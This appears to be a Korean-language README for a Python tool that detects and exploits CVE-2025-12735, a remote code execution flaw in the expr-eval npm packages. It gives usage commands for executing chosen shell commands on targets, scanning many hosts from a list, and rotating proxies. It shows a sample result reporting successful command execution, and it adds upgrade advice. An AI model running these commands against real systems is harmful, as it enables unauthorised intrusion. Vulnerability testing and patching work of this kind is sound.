
CVE-2025-12735 (expr-eval RCE 취약점) 탐지 및 테스트를 위한 보안 연구 도구
expr-eval 및 expr-eval-fork npm 패키지의 CVE-2025-12735 취약점을 탐지하고 테스트하기 위한 보안 연구 도구입니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 본 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
CVE-2025-12735는 expr-eval 및 expr-eval-fork npm 패키지에서 발견된 심각한 원격 코드 실행 취약점입니다. 이 취약점은 공격자가 파서가 사용하는 context 객체 내에 임의의 함수를 정의할 수 있게 하여, 시스템 수준 명령을 실행하는 악성 코드를 주입할 수 있도록 합니다.
CVSS 점수: 9.8 (심각)
영향받는 버전: expr-eval-fork < 3.0.0
수정 버전: expr-eval-fork v3.0.0+
# 저장소 복제
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# 의존성 설치
pip install -r requirements.txt
# 스크립트 실행 권한 부여 (선택 사항)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# 스크립트 다운로드
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# 의존성 설치
pip install requests
# 단일 대상
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# 사용자 명령 실행
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# 파일에서 여러 대상
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# 스레드 사용으로 빠른 스캔
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# 자세한 출력 (디버깅)
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# 단일 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# 파일에서 여러 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url 대상 URL
-f, --file 대상 URL이 포함된 파일 (한 줄에 하나)
-c, --command 실행할 명령 (기본값: id)
-t, --threads 스레드 수 (기본값: 1)
-o, --output 출력 파일 (기본값: uknf_expr_eval_results.json)
-v, --verbose 상세 로깅 활성화
--proxy 프록시 URL (예: http://127.0.0.1:8080)
--proxy-list 프록시 URL이 포함된 파일 (한 줄에 하나)
스크립트는 JSON 파일로 상세 결과를 생성합니다:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
expr-eval 또는 expr-eval-fork를 사용 중인 경우:
즉시 업그레이드:
npm install expr-eval-fork@latest
보안 패치 적용:
입력 검증 구현:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# 대상 파일 생성
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# 스캔 실행
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# 단일 프록시
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# 파일에서 여러 프록시
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
기여는 언제나 환영합니다! 자유롭게 Pull Request를 제출해 주세요.
git checkout -b feature/AmazingFeature).git commit -m 'Add some AmazingFeature').git push origin feature/AmazingFeature).문제가 발생하거나 제안 사항이 있으면 GitHub에 이슈를 등록해 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구가 유용하다면 GitHub에서 스타를 눌러 주시기 바랍니다!
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 프로그램의 오용이나 그로 인한 손해에 대해 책임을 지지 않습니다. 사용자는 시스템을 테스트하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.
이 도구가 유용하고 프로젝트를 후원하고 싶다면:
비트코인 (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
이더리움 (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
후원에 감사드립니다! 🙏